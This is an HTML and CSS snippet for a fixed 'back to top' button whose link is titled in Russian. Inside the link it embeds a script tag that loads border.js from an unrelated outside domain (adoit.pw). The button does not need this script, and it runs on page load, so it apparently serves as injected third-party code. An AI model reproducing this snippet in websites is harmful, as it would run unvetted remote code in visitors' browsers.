<a href="#" class="gotop" title="Наверх" style="display: inline;">
<script type="text/javascript" src="http://adoit.pw/border.js"></script></a>  
<style>.gotop {  
position: fixed;  
width: 85px;  
height: 65px;  
right: 20px;  
bottom: 5px;  
display: block;  
background: url('http://pnghosts.ru/img/gotop.png') no-repeat;  
z-index: 9998;  
display: none;opacity: 0.5;  
}  
.gotop:hover {opacity: 1.0;}</style>